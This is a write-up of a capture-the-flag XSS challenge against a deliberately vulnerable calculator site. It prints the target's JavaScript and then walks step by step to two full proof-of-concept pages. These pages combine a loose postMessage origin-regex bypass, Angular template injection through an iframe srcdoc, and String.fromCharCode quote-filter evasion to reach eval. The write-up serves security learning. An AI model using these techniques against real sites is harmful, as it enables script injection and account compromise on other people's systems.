BugPoC's "Buggy Calculator" XSS Challenge

Introduction

BugPoC's "Buggy Calculator" challenge was active from the 7th of August until the 12th of August. There was $2,000 of prize money involved in this challenge, so I started playing as soon as I heard about it. It took me around 2 hours to complete, and I was the 2nd person to solve it.
The challenge rules were:

The prizes were:

Recon

I loaded http://calc.buggywebsite.com in Firefox, and this is what I saw:
After testing the calculator, I pressed CTRL+U to view the page's HTML. A few lines interested me.

The Content Security Policy:

<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">

For me, the most important part of this policy was the script-src directive. It forbids inline and external (e.g. from a different origin) scripts from being loaded/executed. One thing to note is that 'unsafe-eval' permits strings to be evaluated as JavaScript code by the likes of eval and Function (the function constructor) - this will be important later on.

The scripts:

<script src="angular.min.js"></script>
<script src="jquery.min.js"></script>
<script src="script.js"></script>

As you can see, the page loads Angular, jQuery, and some custom-built code. I had never even interacted with Angular before, but I had a feeling that it'd play a role in the solution. I had a small look at angular.min.js - at the top of the file lay a comment stating "v1.5.6" as the Angular version. I could not find any obvious info about XSS-related vulnerabilities in this version of Angular, so I moved on. I skipped over jquery.min.js as I doubted that anything of relevance would be in there. Then, I opened up script.js. Here are its contents:

var app = angular.module('Calculator', []);

app.controller('DisplayController', ['$scope', function($scope) {

    $scope.display = "";

}]);

app.controller('ArthmeticController', ['$scope', function($scope){

    $scope.operatorLastUsed = false;
    $scope.equation = "0";
    $scope.isFloat = false;
    $scope.isInit = true;
    $scope.isOff = false;

    $scope.concatOperator = function(operator) {

        if(operator === 'AC')
        {
            $scope.equation = "0";
            $scope.isInit = true;
        }
        else
        {
            if(!$scope.equation[$scope.equation.length - 1].match(/[-+*\/]/))
            {
                $scope.equation += operator;
                $scope.isFloat = false;
            }
        }
        sendEquation($scope.equation);
    }

    $scope.command = function(command) {
        if(command === 'Off')
        {
            if($scope.isOff === false)
            {
                $(".display").css("color", '#95A799');
                sendEquation('off');
                $("button:contains('OFF')").text("ON");
                $scope.isOff = true;
            } else
            {
                $(".display").css("color", 'black');
                sendEquation('on');
                $("button:contains('ON')").text("OFF");
                $scope.isOff = false;
            }
        } else if(command === '%')
        {
            if(!$scope.equation[$scope.equation.length - 1].match('%'))
            {
                $scope.equation += "%";
            }
        } else if(command === 'DEL')
        {
            if($scope.equation.length == 1)
            {
                $scope.equation = $scope.equation.substring(0,$scope.equation.length - 1);
                $scope.equation = "0";
                $scope.isInit = true;
            } else {
                $scope.equation = $scope.equation.substring(0,$scope.equation.length - 1);
            }
        }
        sendEquation($scope.equation);
    }

    $scope.addDecimal = function() {
        $scope.isFloat = true;
        $scope.equation += ".";
        sendEquation($scope.equation);
    }

    $scope.updateCurrNum = function(num) {
        if($scope.isInit)
        {
            $scope.equation = num.toString();
            $scope.isInit = false;
        } else
            $scope.equation += num;

        sendEquation($scope.equation);

    }

    $scope.calculate = function() {
        $scope.equation = eval($scope.equation).toString();
        sendEquation($scope.equation);
    }

}]);

function sendEquation(msg){
    theiframe.postMessage(msg);
}

On first impressions, I was fairly surprised by the amount of code in the file. After briefly reading through it, I saw the call to eval in $scope.calculate (to code running in the Angular scope/controller, the $scope object is the "global"). I recalled that the Content Security Policy permitted evaluation of strings ('unsafe-eval'), and theorised that I'd somehow need to reach this eval call with arbitrary JavaScript code in $scope.equation.

The iframes.

There were two iframes, but one of them seemed to be (actually) intended for analytics so I ignored it. This left me with one iframe to investigate, and it referenced frame.html.
I decided to view the source of frame.html, and it turned out to be a very simple page. It essentially conists of a script element sourcing frame.js, and a meta element defining the same Content Security Policy as the default (index.html) page. This led me to analysing frame.js, which contains the following:

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {

    // verify sender is trusted
    if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
        return
    }

    // display message
    msg = event.data;
    if (msg == 'off') {
        document.body.style.color = '#95A799';
    } else if (msg == 'on') {
        document.body.style.color = 'black';
    } else if (!msg.includes("'") && !msg.includes("&")) {
        document.body.innerHTML=msg;
    }
}

This script, once loaded on frame.html, adds a message event listener. Upon receiving a message, the listener attempts to validate the message, and then assigns it to document.body.innerHTML. This seemed like the "entry-point" for the XSS bug.
One of the first things that I noticed about receiveMessage was that the origin check is flawed - it does not define where the origin string should end, and the dots (due to being unescaped in a RegExp) were actually wildcards instead of the dot character.
I had great success while testing bypasses in Firefox's developer tools... ...but I didn't know how I'd implement said bypass in the XSS PoC/solution. At the time, I was considering creating a subdomain of a domain that I own, but I decided against it when I realised that the RegExp forced HTTP, and when I had another read of the challenge description and saw that the PoC had to be made on BugPoC. I remember thinking that they probably didn't want me to iframe my own domain in my solution on BugPoC, so I chose to note down my discovery and come back to it later. After taking my note, I continued reading the receiveMessage code. I saw the checks comparing the message data to the "off" and "on" string literals and I skipped past them because I knew they wouldn't be a problem. Then, I saw the check which only allows document.body's innerHTML to be assigned if the message data does not include single-quotes and/or ampersands. At the time of reading the code, I did not consider this to be a big threat but, in hindsight, this check cost a relatively large amount of time for me to bypass.

XSS

Recon had concluded and I was feeling confident. The first thing I did after recon was open frame.html alongside the source code of index.html in my browser. I didn't know how to use Angular, so I had the idea of looking at what index.html does and adapting it. My first test was simple; I switched to my frame.html tab, opened Firefox's developer tools and typed the following:

document.body.innerHTML = `<div ng-app>{{ 1 + 2 }}</div><script src=angular.min.js></script>`;

I pressed enter and {{ 1 + 2 }} was not evaluated. I quickly spotted my mistake: script tags written via the likes of innerHTML assignment do not run/execute. To work around this, I used an iframe with the srcdoc attribute as shown below:

document.body.innerHTML = `<iframe srcdoc="<html><body ng-app>{{ 1 + 2 }}<script src=angular.min.js></script></body></html>"></iframe>`;

After pressing enter this time, I did indeed see 3 shown in the iframe.
Using an iframe did mean that I had to use my double-quotes though, which meant that crafting the "alert(document.domain)" string would be much more difficult. Remember, the message event listener discards the message if its data includes a single-quote and/or an ampersand.
Next, I started associating what I saw in index.html with what I saw in script.js to extract the important details. After a few minutes, I went back to my frame.html tab and pasted the following in the developer tools:

document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><div data-ng-controller=ArthmeticController>{{ equation }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`

Here's a quick explaination of the changes and additions:

Anyway, after pressing enter, everything went as expected. I saw 0, the initial value for the equation (controller scope) variable, in the iframe.
Moving on, I started making attempts to call alert(document.domain), still using developer tools. Back in script.js, I saw that the variable being passed to eval inside calculate (controller scope) was equation so I knew that if I could control its value, then I would be extremely close to completing the challenge. I saw that there was a function in the scope of the ArthmeticController controller named updateCurrNum (controller scope), which took a value and assigned it to the equation variable if isInit, another (controller scope) variable, is truthy (which is guaranteed on the first call). Yes, I could have simply assigned to the equation variable without the need of that function but I digress... I switched back to my frame.html tab, and I decided that it was time to test chaining updateCurrNum (to set the equation variable) and calculate (to evaluate the equation variable, by passing it to eval). The problem that immediately occurred to me was that I didn't have any way to create the "alert(document.domain)" string in the actual PoC due to already having used double-quotes, and single-quotes (plus encoded quotes) being checked for. I delayed solving this problem at the time and used single-quotes in my developer tools code for testing purposes - obviously, this is not an option when it comes to actually writing the PoC:

document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><div data-ng-controller=ArthmeticController>{{ updateCurrNum('alert(document.domain)'); calculate(); }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`

After executing the code, I got an error stating, "theiframe is not defined."
The error was traced back to the sendEquation function in script.js, which both updateCurrNum and calculate call. I solved this by adding an iframe with the name attribute set to theiframe:

document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><iframe name=theiframe src=about:blank></iframe><div data-ng-controller=ArthmeticController>{{ updateCurrNum('alert(document.domain)'); calculate(); }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`

With that iframe in place, accessing theiframe will result in the new iframe (named theiframe)'s contentWindow, meaning that sendEquation will be able to successfully call postMessage on it without errors.
After pressing enter, I got an alert! Now, there were only two problems that I had to solve. The first problem being that I didn't have any way to actually create the "alert(document.domain)" string, and the second being that I didn't have a proper way to bypass the postMessage origin check, although I did know how to bypass it.
I started by trying to create the string. I tried a few things like using backticks (`), etc, but none of my attempts worked. I had the idea of building the string by appending characters formed by String.fromCharCode, but I thought that I couldn't get a reference to that function. String wasn't in the controller scope, so I thought that my idea of using character codes wouldn't work. I thought that until I realised that strings were in the controller scope - equation, for example, is initialised as a string ("0") - and that I could get a reference to String by simply accessing the constructor property of a string. I tested it using the following line:

document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><iframe name=theiframe src=about:blank></iframe><div data-ng-controller=ArthmeticController>{{ updateCurrNum(equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(108)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(114)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(40)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(99)+equation.constructor.fromCharCode(117)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(46)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(105)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(41)); calculate(); }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`

It's rather lengthy, but it worked!
The last problem I faced was that I didn't have a proper origin check bypass. The solution to this was on BugPoC itself - there is an option to customize the subdomain on which your PoC runs. The feature isn't immediately obvious and I had to look for it, but it is there. I decided that I'd use http://calcabuggywebsiteacom.web.bugpoc.ninja to run my PoC on. All that was left to do was to create a HTML page which sends a message (via postMessage) to http://calc.buggywebsite.com/frame.html containing the string assigned to document.body.innerHTML in the previous code-block.
This is what I produced:

<!DOCTYPE html>
<html>
    <head>
        <title>PoC</title>
    </head>
    <body>
        <iframe id="iframe" src="http://calc.buggywebsite.com/frame.html"></iframe>
        <script>
        setTimeout(_ => {
            iframe.contentWindow.postMessage(`<iframe srcdoc="<html><body ng-app=Calculator><iframe name=theiframe src=about:blank></iframe><div data-ng-controller=ArthmeticController>{{ updateCurrNum(equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(108)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(114)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(40)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(99)+equation.constructor.fromCharCode(117)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(46)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(105)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(41)); calculate(); }}</div><script src=angular.min.js>${"<"}/script><script src=jquery.min.js>${"<"}/script><script src=script.js>${"<"}/script></body></html>"></iframe>`, "*")
        }, 500);
        </script>
    </body>
</html>

It's not great, but I was trying to get this finished as fast as I possibly could to be one of the first 3 solvers.
I've made a new PoC with some obvious improvements, for example using a load event handler instead of setTimeout:

<!DOCTYPE html>
<html>
    <head>
        <title>PoC</title>
        <meta charset="UTF-8" />
        <!-- http://calcabuggywebsiteacom.web.bugpoc.ninja -->
    </head>
    <body>
        <script>
            let iframe = document.createElement("iframe");
            document.body.append(iframe);

            iframe.onload = _ => {
                iframe.contentWindow.postMessage(`
                    <iframe srcdoc="<!DOCTYPE html><html><head><meta charset=UTF-8></head><body ng-app=Calculator ng-controller=ArthmeticController><iframe name=theiframe></iframe>{{ equation = equation.constructor.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41); calculate(); }}<script src=angular.min.js>${"<"}/script><script src=jquery.min.js>${"<"}/script><script src=script.js>${"<"}/script></body></html>"></iframe>`, "*");
            }

            iframe.src = "http://calc.buggywebsite.com/frame.html";
        </script>
    </body>
</html>

Thanks for reading!